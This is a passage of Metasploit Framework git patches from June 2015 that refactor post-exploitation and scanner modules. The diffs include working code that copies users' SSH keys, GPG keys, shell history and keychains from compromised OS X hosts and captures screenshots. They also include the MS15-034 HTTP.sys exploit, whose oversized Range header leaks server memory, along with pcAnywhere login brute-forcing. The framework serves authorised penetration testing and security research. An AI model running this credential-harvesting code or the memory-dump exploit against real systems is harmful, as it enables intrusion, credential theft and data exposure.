'Users' => ['/usr/sbin/lookupd', '-q user'], + 'Groups' => ['/usr/sbin/lookupd', '-q group'] + } - } if ver_num =~ /10\.(7|6|5)/ shell_commands = leopard_commands else @@ -257,17 +248,17 @@ class Metasploit3 < Msf::Post # Run commands according to the session type if session.type =~ /meterpreter/ - command_output = cmd_exec(command[0],command[1]) + command_output = cmd_exec(command[0], command[1]) # Save data lo log folder - file_local_write(log_folder+"//#{name}.txt",command_output) + file_local_write(log_folder+"//#{name}.txt", command_output) elsif session.type =~ /shell/ - command_output = session.shell_command_token(command.join(" "),15) + command_output = cmd_exec(command.join(' '), 15) # Save data lo log folder - file_local_write(log_folder+"//#{name}.txt",command_output) + file_local_write(log_folder + "//#{name}.txt", command_output) end end @@ -284,16 +275,16 @@ class Metasploit3 < Msf::Post if not check_root # Enumerate the home folder content - home_folder_list = session.shell_command_token("/bin/ls -ma ~/").chomp.split(", ") + home_folder_list = cmd_exec("/bin/ls -ma ~/").chomp.split(", ") # Check for SSH folder and extract keys if found if home_folder_list.include?("\.ssh") print_status(".ssh Folder is present") - ssh_folder = session.shell_command_token("/bin/ls -ma ~/.ssh").chomp.split(", ") + ssh_folder = cmd_exec("/bin/ls -ma ~/.ssh").chomp.split(", ") ssh_folder.each do |k| next if k =~/^\.$|^\.\.$/ print_status("\tDownloading #{k.strip}") - ssh_file_content = session.shell_command_token("/bin/cat ~/.ssh/#{k}") + ssh_file_content = cmd_exec("/bin/cat ~/.ssh/#{k}") # Save data lo log folder file_local_write(log_folder+"//#{name}",ssh_file_content) @@ -303,14 +294,14 @@ class Metasploit3 < Msf::Post # Check for GPG and extract keys if found if home_folder_list.include?("\.gnupg") print_status(".gnupg Folder is present") - gnugpg_folder = session.shell_command_token("/bin/ls -ma ~/.gnupg").chomp.split(", ") + gnugpg_folder = cmd_exec("/bin/ls -ma ~/.gnupg").chomp.split(", ") gnugpg_folder.each do |k| next if k =~/^\.$|^\.\.$/ print_status("\tDownloading #{k.strip}") - gpg_file_content = session.shell_command_token("/bin/cat ~/.gnupg/#{k.strip}") + gpg_file_content = cmd_exec("/bin/cat ~/.gnupg/#{k.strip}") # Save data lo log folder - file_local_write(log_folder+"//#{name}",gpg_file_content) + file_local_write(log_folder+"//#{name}", gpg_file_content) end end else @@ -319,7 +310,7 @@ class Metasploit3 < Msf::Post when /meterpreter/ users_folder = cmd_exec("/bin/ls","/Users") when /shell/ - users_folder = session.shell_command_token("/bin/ls /Users") + users_folder = cmd_exec("/bin/ls /Users") end users_folder.each_line do |u| next if u.chomp =~ /Shared|\.localized/ @@ -327,14 +318,14 @@ class Metasploit3 < Msf::Post end users.each do |u| - user_folder = session.shell_command_token("/bin/ls -ma /Users/#{u}/").chomp.split(", ") + user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").chomp.split(", ") if user_folder.include?("\.ssh") print_status(".ssh Folder is present for #{u}") - ssh_folder = session.shell_command_token("/bin/ls -ma /Users/#{u}/.ssh").chomp.split(", ") + ssh_folder = cmd_exec("/bin/ls -ma /Users/#{u}/.ssh").chomp.split(", ") ssh_folder.each do |k| next if k =~/^\.$|^\.\.$/ print_status("\tDownloading #{k.strip}") - ssh_file_content = session.shell_command_token("/bin/cat /Users/#{u}/.ssh/#{k}") + ssh_file_content = cmd_exec("/bin/cat /Users/#{u}/.ssh/#{k}") # Save data lo log folder file_local_write(log_folder+"//#{name}",ssh_file_content) @@ -344,14 +335,14 @@ class Metasploit3 < Msf::Post users.each do |u| - user_folder = session.shell_command_token("/bin/ls -ma /Users/#{u}/").chomp.split(", ") + user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").chomp.split(", ") if user_folder.include?("\.ssh") print_status(".gnupg Folder is present for #{u}") - ssh_folder = session.shell_command_token("/bin/ls -ma /Users/#{u}/.gnupg").chomp.split(", ") + ssh_folder = cmd_exec("/bin/ls -ma /Users/#{u}/.gnupg").chomp.split(", ") ssh_folder.each do |k| next if k =~/^\.$|^\.\.$/ print_status("\tDownloading #{k.strip}") - ssh_file_content = session.shell_command_token("/bin/cat /Users/#{u}/.gnupg/#{k}") + ssh_file_content = cmd_exec("/bin/cat /Users/#{u}/.gnupg/#{k}") # Save data lo log folder file_local_write(log_folder+"//#{name}",ssh_file_content) @@ -371,22 +362,22 @@ class Metasploit3 < Msf::Post if check_root print_status("Capturing screenshot for each loginwindow process since privilege is root") if session.type =~ /shell/ - loginwindow_pids = session.shell_command_token("/bin/ps aux \| /usr/bin/awk \'/name/ \&\& \!/awk/ \{print \$2\}\'").split("\n") + loginwindow_pids = cmd_exec("/bin/ps aux \| /usr/bin/awk \'/name/ \&\& \!/awk/ \{print \$2\}\'").split("\n") loginwindow_pids.each do |pid| print_status("\tCapturing for PID:#{pid}") - session.shell_command_token("/bin/launchctl bsexec #{pid} /usr/sbin/screencapture -x /tmp/#{pid}.jpg") - file_local_write(log_folder+"//screenshot_#{pid}.jpg", - session.shell_command_token("/bin/cat /tmp/#{pid}.jpg")) - session.shell_command_token("/usr/bin/srm -m -z /tmp/#{pid}.jpg") + cmd_exec("/bin/launchctl bsexec #{pid} /usr/sbin/screencapture -x /tmp/#{pid}.jpg") + file_local_write(log_folder + "//screenshot_#{pid}.jpg", + cmd_exec("/bin/cat /tmp/#{pid}.jpg")) + cmd_exec("/usr/bin/srm -m -z /tmp/#{pid}.jpg") end end else # Run commands according to the session type if session.type =~ /shell/ - session.shell_command_token("/usr/sbin/screencapture -x /tmp/#{picture_name}.jpg") + cmd_exec("/usr/sbin/screencapture -x /tmp/#{picture_name}.jpg") file_local_write(log_folder+"//screenshot.jpg", - session.shell_command_token("/bin/cat /tmp/#{picture_name}.jpg")) - session.shell_command_token("/usr/bin/srm -m -z /tmp/#{picture_name}.jpg") + cmd_exec("/bin/cat /tmp/#{picture_name}.jpg")) + cmd_exec("/usr/bin/srm -m -z /tmp/#{picture_name}.jpg") end end print_status("Screenshot Captured") @@ -403,8 +394,8 @@ class Metasploit3 < Msf::Post users_folder = cmd_exec("/bin/ls","/Users").chomp current_user = cmd_exec("/usr/bin/id","-nu").chomp when /shell/ - users_folder = session.shell_command_token("/bin/ls /Users").chomp - current_user = session.shell_command_token("/usr/bin/id -nu").chomp + users_folder = cmd_exec("/bin/ls /Users").chomp + current_user = cmd_exec("/usr/bin/id -nu").chomp end users_folder.each_line do |u| next if u.chomp =~ /Shared|\.localized/ @@ -415,12 +406,12 @@ class Metasploit3 < Msf::Post if current_user == "root" # Check the root user folder - root_folder = session.shell_command_token("/bin/ls -ma ~/").chomp.split(", ") + root_folder = cmd_exec("/bin/ls -ma ~/").chomp.split(", ") root_folder.each do |f| if f =~ /\.\w*\_history/ print_status("\tHistory file #{f.strip} found for root") print_status("\tDownloading #{f.strip}") - sh_file = session.shell_command_token("/bin/cat ~/#{f.strip}") + sh_file = cmd_exec("/bin/cat ~/#{f.strip}") # Save data lo log folder file_local_write(log_folder+"//root_#{f.strip}.txt",sh_file) @@ -431,12 +422,12 @@ class Metasploit3 < Msf::Post users.each do |u| # Lets get a list of all the files on the users folder and place them in an array - user_folder = session.shell_command_token("/bin/ls -ma /Users/#{u}/").chomp.split(", ") + user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").chomp.split(", ") user_folder.each do |f| if f =~ /\.\w*\_history/ print_status("\tHistory file #{f.strip} found for #{u}") print_status("\tDownloading #{f.strip}") - sh_file = session.shell_command_token("/bin/cat /Users/#{u}/#{f.strip}") + sh_file = cmd_exec("/bin/cat /Users/#{u}/#{f.strip}") # Save data lo log folder file_local_write(log_folder+"//#{u}_#{f.strip}.txt",sh_file) @@ -445,12 +436,12 @@ class Metasploit3 < Msf::Post end else - current_user_folder = session.shell_command_token("/bin/ls -ma ~/").chomp.split(", ") + current_user_folder = cmd_exec("/bin/ls -ma ~/").chomp.split(", ") current_user_folder.each do |f| if f =~ /\.\w*\_history/ print_status("\tHistory file #{f.strip} found for #{current_user}") print_status("\tDownloading #{f.strip}") - sh_file = session.shell_command_token("/bin/cat ~/#{f.strip}") + sh_file = cmd_exec("/bin/cat ~/#{f.strip}") # Save data lo log folder file_local_write(log_folder+"//#{current_user}_#{f.strip}.txt",sh_file) @@ -466,7 +457,7 @@ class Metasploit3 < Msf::Post when /meterpreter/ users_folder = cmd_exec("/bin/ls","/Users").chomp when /shell/ - users_folder = session.shell_command_token("/bin/ls /Users").chomp + users_folder = cmd_exec("/bin/ls /Users").chomp end users_folder.each_line do |u| next if u.chomp =~ /Shared|\.localized/ @@ -475,22 +466,22 @@ class Metasploit3 < Msf::Post if check_root users.each do |u| print_status("Enumerating and Downloading keychains for #{u}") - keychain_files = session.shell_command_token("/usr/bin/sudo -u #{u} -i /usr/bin/security list-keychains").split("\n") + keychain_files = cmd_exec("/usr/bin/sudo -u #{u} -i /usr/bin/security list-keychains").split("\n") keychain_files.each do |k| - keychain_file = session.shell_command_token("/bin/cat #{k.strip}") + keychain_file = cmd_exec("/bin/cat #{k.strip}") # Save data lo log folder file_local_write(log_folder+"//#{u}#{k.strip.gsub(/\W/,"_")}",keychain_file) end end else - current_user = session.shell_command_token("/usr/bin/id -nu").chomp + current_user = cmd_exec("/usr/bin/id -nu").chomp print_status("Enumerating and Downloading keychains for #{current_user}") - keychain_files = session.shell_command_token("usr/bin/security list-keychains").split("\n") + keychain_files = cmd_exec("usr/bin/security list-keychains").split("\n") keychain_files.each do |k| - keychain_file = session.shell_command_token("/bin/cat #{k.strip}") + keychain_file = cmd_exec("/bin/cat #{k.strip}") # Save data lo log folder file_local_write(log_folder+"//#{current_user}#{k.strip.gsub(/\W/,"_")}",keychain_file) From c20d2a1dd9f9c9d58d3f18bd37f3a18dd714d2fe Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 22 Jun 2015 16:20:46 -0500 Subject: [PATCH 0507/1013] Update post/multi/gather/env * Use cmd_exec --- modules/post/multi/gather/env.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/multi/gather/env.rb b/modules/post/multi/gather/env.rb index c4042f6ea8..34938cb19b 100644 --- a/modules/post/multi/gather/env.rb +++ b/modules/post/multi/gather/env.rb @@ -42,7 +42,7 @@ class Metasploit3 < Msf::Post @ltype = "unix.environment" cmd = "env" end - @output = session.shell_command_token(cmd) + @output = cmd_exec(cmd) end def get_env_meterpreter From 6a0a410cad6ccfb44a31c085c4150a2cb5a45f76 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Mon, 22 Jun 2015 16:56:16 -0500 Subject: [PATCH 0508/1013] fix minor issue typing 'transport remove' meterpreter > transport remove [-] Error running command transport: NoMethodError undefined method `end_with?' for nil:NilClass --- lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index 6fe12a4fb3..1ef513b186 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -739,7 +739,7 @@ class Console::CommandDispatcher::Core print_error("Failed to add transport, please check the parameters") end when 'remove' - if !opts[:transport].end_with?('_tcp') && opts[:uri].nil? + if opts[:transport] && !opts[:transport].end_with?('_tcp') && opts[:uri].nil? print_error("HTTP/S transport specified without session URI") return end From 9fea3d7a9c9bc276d25a34672a87c65ebb8d9395 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Mon, 22 Jun 2015 16:56:54 -0500 Subject: [PATCH 0509/1013] update to metasploit-payloads 1.0.3 --- Gemfile.lock | 4 ++-- metasploit-framework.gemspec | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 20788623a7..c7d5318770 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -9,7 +9,7 @@ PATH json metasploit-concern (~> 1.0) metasploit-model (~> 1.0) - metasploit-payloads (= 1.0.2) + metasploit-payloads (= 1.0.3) msgpack nokogiri packetfu (= 1.1.9) @@ -123,7 +123,7 @@ GEM activemodel (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) railties (>= 4.0.9, < 4.1.0) - metasploit-payloads (1.0.2) + metasploit-payloads (1.0.3) metasploit_data_models (1.2.3) activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 376f22f6b6..287a6afeaa 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -62,8 +62,8 @@ Gem::Specification.new do |spec| # Things that would normally be part of the database model, but which # are needed when there's no database spec.add_runtime_dependency 'metasploit-model', '~> 1.0' - # Needed for Meterpreter on Windows, soon others. - spec.add_runtime_dependency 'metasploit-payloads', '1.0.2' + # Needed for Meterpreter + spec.add_runtime_dependency 'metasploit-payloads', '1.0.3' # Needed by msfgui and other rpc components spec.add_runtime_dependency 'msgpack' # Needed by anemone crawler From 8ade66027a55aef7311f3234bce063a48150bc2a Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Mon, 22 Jun 2015 17:19:02 -0500 Subject: [PATCH 0510/1013] update cached payload sizes --- modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb | 2 +- .../payloads/singles/windows/x64/meterpreter_reverse_http.rb | 2 +- .../payloads/singles/windows/x64/meterpreter_reverse_https.rb | 2 +- .../singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb | 2 +- modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb | 2 +- 5 files changed, 5 insertions(+), 5 deletions(-) diff --git a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb index 2ce61320a7..d9d1ffbe47 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 1102898 + CachedSize = 1104434 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb index 7dec0bec7b..e978b16c97 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 1103942 + CachedSize = 1105478 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb index 78d31e916a..45f9d53014 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 1103942 + CachedSize = 1105478 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb index c819611c57..f843d31260 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 1102898 + CachedSize = 1104434 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb index 3f534da845..3c0e1efce7 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 1102898 + CachedSize = 1104434 include Msf::Payload::TransportConfig include Msf::Payload::Windows From f216841d01af8f232e39ce85225024c33e594966 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 22 Jun 2015 17:54:17 -0500 Subject: [PATCH 0511/1013] Update enum_vbox --- modules/post/multi/gather/enum_vbox.rb | 50 +++++++++++++++----------- 1 file changed, 30 insertions(+), 20 deletions(-) diff --git a/modules/post/multi/gather/enum_vbox.rb b/modules/post/multi/gather/enum_vbox.rb index d5a4b2591f..283ffbfa7b 100644 --- a/modules/post/multi/gather/enum_vbox.rb +++ b/modules/post/multi/gather/enum_vbox.rb @@ -16,10 +16,10 @@ class Metasploit3 < Msf::Post super( update_info(info, 'Name' => 'Multi Gather VirtualBox VM Enumeration', 'Description' => %q{ - This module will attempt to enumerate any VirtualBox VMs on the target machine. - Due to the nature of VirtualBox, this module can only enumerate VMs registered - for the current user, thereforce, this module needs to be invoked from a user context. - }, + This module will attempt to enumerate any VirtualBox VMs on the target machine. + Due to the nature of VirtualBox, this module can only enumerate VMs registered + for the current user, thereforce, this module needs to be invoked from a user context. + }, 'License' => MSF_LICENSE, 'Author' => ['theLightCosine'], 'Platform' => %w{ bsd linux osx unix win }, @@ -29,27 +29,37 @@ class Metasploit3 < Msf::Post def run if session.platform =~ /win/ - res = session.shell_command_token_win32('"c:\Program Files\Oracle\VirtualBox\vboxmanage" list -l vms') || '' - if res.include? "The system cannot find the path specified" - print_error "VirtualBox does not appear to be installed on this machine" - return nil - elsif res == "\n" - print_status "VirtualBox is installed but this user has no VMs registered. Try another user." - return nil + if session.type == 'meterpreter' + begin + res = cmd_exec('c:\\Program Files\\Oracle\\VirtualBox\\vboxmanage', 'list -l vms') + rescue ::Rex::Post::Meterpreter::RequestError + print_error('VirtualBox does not appear to be installed on this machine') + return nil + end + + if res.empty? + print_status('VirtualBox is installed but this user has no VMs registered. Try another user.') + return nil + end + else + res = cmd_exec('"c:\\Program Files\\Oracle\\VirtualBox\\vboxmanage" list -l vms') + if res.empty? + print_error('VirtualBox isn\'t installed or this user has no VMs registered') + return nil + end end elsif session.platform =~ /unix|linux|bsd|osx/ - res = session.shell_command('vboxmanage list -l vms') - unless res.start_with? "Sun VirtualBox" - print_error "VirtualBox does not appear to be installed on this machine" - return nil - end - unless res.include? "Name:" - print_status "VirtualBox is installed but this user has no VMs registered. Try another user." + res = cmd_exec('vboxmanage list -l vms') + + unless res.start_with?('Sun VirtualBox') || res.include?('Name:') + print_error('VirtualBox isn\'t installed or this user has no VMs registered') return nil end end - print_good res - store_loot('virtualbox_vms', "text/plain", session, res, "virtualbox_vms.txt", "Virtualbox Virtual Machines") + + vprint_status(res) + store_path = store_loot('virtualbox_vms', "text/plain", session, res, "virtualbox_vms.txt", "Virtualbox Virtual Machines") + print_good("#{peer} - File successfully retrieved and saved on #{store_path}") end From 8086a6f8cce290a30a2212ec159bc4a28e95f3d3 Mon Sep 17 00:00:00 2001 From: rwhitcroft Date: Mon, 22 Jun 2015 20:25:12 -0400 Subject: [PATCH 0512/1013] remove unnecessary begin/rescue, change print_* to vprint_* in check() --- .../scanner/http/ms15034_http_sys_memory_dump.rb | 14 +++++--------- 1 file changed, 5 insertions(+), 9 deletions(-) diff --git a/modules/auxiliary/scanner/http/ms15034_http_sys_memory_dump.rb b/modules/auxiliary/scanner/http/ms15034_http_sys_memory_dump.rb index 0c367394c6..49c72a03c1 100644 --- a/modules/auxiliary/scanner/http/ms15034_http_sys_memory_dump.rb +++ b/modules/auxiliary/scanner/http/ms15034_http_sys_memory_dump.rb @@ -46,7 +46,7 @@ class Metasploit3 < Msf::Auxiliary } }) unless res - print_error("Error in send_request_raw") + vprint_error("Error in send_request_raw") return false end @@ -151,14 +151,10 @@ class Metasploit3 < Msf::Auxiliary loop do sleep 2 - begin - buf = sock.get_once(-1, 2) - if buf - resp << buf - else - break - end - rescue + buf = sock.get_once(-1, 2) + if buf + resp << buf + else break end end From e75287875b1fe54a35fc1b8bbb686d409f1bdbd7 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Mon, 22 Jun 2015 20:41:58 -0500 Subject: [PATCH 0513/1013] hack android-specific commands back to life --- data/meterpreter/ext_server_android.jar | 0 lib/msf/base/sessions/meterpreter_android.rb | 7 +++++++ lib/msf/base/sessions/meterpreter_options.rb | 6 ++++++ 3 files changed, 13 insertions(+) create mode 100644 data/meterpreter/ext_server_android.jar diff --git a/data/meterpreter/ext_server_android.jar b/data/meterpreter/ext_server_android.jar new file mode 100644 index 0000000000..e69de29bb2 diff --git a/lib/msf/base/sessions/meterpreter_android.rb b/lib/msf/base/sessions/meterpreter_android.rb index 01080744d3..5728ddd036 100644 --- a/lib/msf/base/sessions/meterpreter_android.rb +++ b/lib/msf/base/sessions/meterpreter_android.rb @@ -19,6 +19,13 @@ class Meterpreter_Java_Android < Msf::Sessions::Meterpreter_Java_Java self.platform = 'java/android' end + def load_android + original = console.disable_output + console.disable_output = true + console.run_single('load android') + console.disable_output = original + end + end end diff --git a/lib/msf/base/sessions/meterpreter_options.rb b/lib/msf/base/sessions/meterpreter_options.rb index b070950371..0d8c7b3b70 100644 --- a/lib/msf/base/sessions/meterpreter_options.rb +++ b/lib/msf/base/sessions/meterpreter_options.rb @@ -65,6 +65,12 @@ module MeterpreterOptions end end + if session.platform =~ /android/i + if datastore['AutoLoadAndroid'] + session.load_android + end + end + [ 'InitialAutoRunScript', 'AutoRunScript' ].each do |key| if (datastore[key].empty? == false) args = Shellwords.shellwords( datastore[key] ) From 302db36daaa7b9199d5b33a90d14fc8f6fd47a6d Mon Sep 17 00:00:00 2001 From: root Date: Tue, 23 Jun 2015 09:46:01 +0500 Subject: [PATCH 0514/1013] Add last_attempted_at to creds object --- modules/auxiliary/scanner/pcanywhere/pcanywhere_login.rb | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/scanner/pcanywhere/pcanywhere_login.rb b/modules/auxiliary/scanner/pcanywhere/pcanywhere_login.rb index 588236bf8f..d787bf7863 100644 --- a/modules/auxiliary/scanner/pcanywhere/pcanywhere_login.rb +++ b/modules/auxiliary/scanner/pcanywhere/pcanywhere_login.rb @@ -21,7 +21,7 @@ class Metasploit3 < Msf::Auxiliary report successful logins. }, 'Author' => ['theLightCosine'], - 'References' => + 'References' => [ [ 'CVE', '1999-0502'] # Weak password ], @@ -49,7 +49,7 @@ class Metasploit3 < Msf::Auxiliary port: datastore['RPORT'], service_name: 'pcanywhere', user: user, - password: pass, + password: pass ) return if datastore['STOP_ON_SUCCESS'] print_status('Waiting to Re-Negotiate Connection (this may take a minute)...') @@ -90,7 +90,8 @@ class Metasploit3 < Msf::Auxiliary login_data = { core: create_credential(credential_data), - status: Metasploit::Model::Login::Status::SUCCESSFUL, + last_attempted_at: DateTime.now, + status: Metasploit::Model::Login::Status::SUCCESSFUL }.merge(service_data) create_credential_login(login_data) From e9b548e8a246073425aee2a56a3bb156f9ad8830 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 23 Jun 2015 01:07:33 -0500 Subject: [PATCH 0515/1013] Changes for ms15034_http_sys_memory_dump.rb --- .../http/ms15034_http_sys_memory_dump.rb | 228 ++++++++++-------- 1 file changed, 131 insertions(+), 97 deletions(-) diff --git a/modules/auxiliary/scanner/http/ms15034_http_sys_memory_dump.rb b/modules/auxiliary/scanner/http/ms15034_http_sys_memory_dump.rb index 49c72a03c1..a759af70a4 100644 --- a/modules/auxiliary/scanner/http/ms15034_http_sys_memory_dump.rb +++ b/modules/auxiliary/scanner/http/ms15034_http_sys_memory_dump.rb @@ -11,9 +11,9 @@ class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner - def initialize - super( - 'Name' => 'MS15-034 HTTP.SYS Memory Dump', + def initialize(info = {}) + super(update_info(info, + 'Name' => 'MS15-034 HTTP Protocol Stack Request Handling HTTP.SYS Memory Information Disclosure', 'Description' => %q{ Dumps memory contents using a crafted Range header. Affects only Windows 8.1, Server 2012, and Server 2012R2. Note that if the target @@ -22,35 +22,91 @@ class Metasploit3 < Msf::Auxiliary seem stable. Using a larger target file should result in more memory being dumped, and SSL seems to produce more data as well. }, - 'Author' => 'Rich Whitcroft ', + 'Author' => + [ + 'Rich Whitcroft ', # Msf module + 'sinn3r' # Some more Metasploit stuff + ], 'License' => MSF_LICENSE, - 'References' => [ ['URL', 'http://securitysift.com/an-analysis-of-ms15-034/'] ] - ) + 'References' => + [ + ['CVE', '2015-1635'], + ['MSB', 'MS15-034'], + ['URL', 'http://pastebin.com/ypURDPc4'], + ['URL', 'https://github.com/rapid7/metasploit-framework/pull/5150'], + ['URL', 'https://community.qualys.com/blogs/securitylabs/2015/04/20/ms15-034-analyze-and-remote-detection'], + ['URL', 'http://www.securitysift.com/an-analysis-of-ms15-034/'], + ['URL', 'http://securitysift.com/an-analysis-of-ms15-034/'] + ] + )) register_options([ - OptString.new('TARGET_URI', [ true, 'The path to the resource (must exist!)', '/iisstart.htm' ]), - OptInt.new('RPORT', [ true, 'The target port', 443 ]), - OptBool.new('SSL', [ true, 'Use SSL?', true ]), + OptString.new('TARGETURI', [false, 'URI to the site (e.g /site/) or a valid file resource (e.g /welcome.png)', '/']), OptBool.new('SUPPRESS_REQUEST', [ true, 'Suppress output of the requested resource', true ]) ], self.class) deregister_options('VHOST') end - def check - res = send_request_raw({ - 'uri' => datastore['TARGET_URI'], - 'method' => 'GET', - 'headers' => { - 'Range' => 'bytes=0-18446744073709551615' - } - }) - unless res - vprint_error("Error in send_request_raw") - return false + def target_uri + @target_uri ||= super + end + + def potential_static_files_uris + uri = normalize_uri(target_uri.path) + + return [uri] unless uri[-1, 1] == '/' + + uris = ["#{uri}iisstart.htm", "#{uri}iis-85.png", "#{uri}welcome.png"] + res = send_request_raw('uri' => uri) + + return uris unless res + + site_uri = URI.parse(full_uri) + page = Nokogiri::HTML(res.body.encode('UTF-8', invalid: :replace, undef: :replace)) + + page.xpath('//link|//script|//style|//img').each do |tag| + %w(href src).each do |attribute| + attr_value = tag[attribute] + next unless attr_value && !attr_value.empty? + uri = site_uri.merge(URI.encode(attr_value.strip)) + next unless uri.host == vhost || uri.host == rhost + uris << uri.path if uri.path =~ /\.[a-z]{2,}$/i # Only keep path with a file + end end - return (res.body.include?("Requested Range Not Satisfiable") ? true : false) + uris.uniq + end + + def check_host(ip) + upper_range = 0xFFFFFFFFFFFFFFFF + + potential_static_files_uris.each do |potential_uri| + uri = normalize_uri(potential_uri) + + res = send_request_raw( + 'uri' => uri, + 'method' => 'GET', + 'headers' => { + 'Range' => "bytes=0-#{upper_range}" + } + ) + + vmessage = "#{peer} - Checking #{uri} [#{res.code}]" + + if res && res.body.include?('Requested Range Not Satisfiable') + vprint_status("#{vmessage} - Vulnerable") + + # Save the file that we want to use for the information leak + target_uri.path = uri + + return Exploit::CheckCode::Vulnerable + elsif res && res.body.include?('The request has an invalid header name') + return Exploit::CheckCode::Safe + end + end + + Exploit::CheckCode::Unknown end def dump(data) @@ -64,108 +120,86 @@ class Metasploit3 < Msf::Auxiliary end end - i = 1 - bytes_per_line = 16 - lines_suppressed = 0 - bytes = String.new - chars = String.new - + print_line print_good("Memory contents:") + print_line(Rex::Text.to_hex_dump(data)) + end - data.each_byte do |b| - bytes << "%02x" % b.ord + # Needed to allow the vulnerable uri to be shared between the #check and #dos + def target_uri + @target_uri ||= super + end - if b.ord.between?(32, 126) - chars << b.chr - else - chars << "." + def get_file_size + @file_size ||= lambda { + file_size = -1 + uri = normalize_uri(target_uri.path) + res = send_request_raw('uri' => uri) + + unless res + vprint_error("#{peer} - Connection timed out") + return file_size end - if i > 1 and i % bytes_per_line == 0 - if bytes !~ /^[0f]{32}$/ - bytes.gsub!(/(.{4})/, '\1 ') - print_status("#{bytes} #{chars}") - else - lines_suppressed += 1 - end - - bytes.clear - chars.clear + if res.code == 404 + vprint_error("#{peer} - You got a 404. URI must be a valid resource.") + return file_size end - i += 1 + file_size = res.headers['Content-Length'].to_i + vprint_status("#{peer} - File length: #{file_size} bytes") + + return file_size + }.call + end + + def calc_ranges(content_length) + ranges = "bytes=3-18446744073709551615" + + range_step = 100 + for range_start in (1..content_length).step(range_step) do + range_end = range_start + range_step - 1 + range_end = content_length if range_end > content_length + ranges << ",#{range_start}-#{range_end}" end - print_status("Suppressed #{lines_suppressed} uninteresting lines") unless lines_suppressed.zero? + ranges end def run_host(ip) begin - unless check + unless check_host(ip) print_error("Target is not vulnerable") return else print_good("Target may be vulnerable...") end - # determine the size of the resource - res = send_request_raw({ 'uri' => datastore['TARGET_URI'], 'method' => 'GET' }) - unless res - print_error("Error in send_request_raw") - return - end + content_length = get_file_size + ranges = calc_ranges(content_length) - if res.code == 200 - content_length = res.headers['Content-Length'].to_i - print_good("Content length is #{content_length} bytes") - else - print_error("Error: HTTP code #{res.code}") - return - end - - # build the Range header - ranges = "bytes=3-18446744073709551615" - range_step = 100 - for range_start in (1..content_length).step(range_step) do - range_end = range_start + range_step - 1 - range_end = content_length if range_end > content_length - ranges << ",#{range_start}-#{range_end}" - end - - sock_opts = { - 'SSL' => datastore['SSL'], - 'SSLVersion' => datastore['SSLVersion'], - 'LocalHost' => nil, - 'PeerHost' => ip, - 'PeerPort' => datastore['RPORT'] - } - - sock = Rex::Socket::Tcp.create(sock_opts) - - req = "GET #{datastore['TARGET_URI']} HTTP/1.1\r\nHost: #{ip}\r\nUser-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; 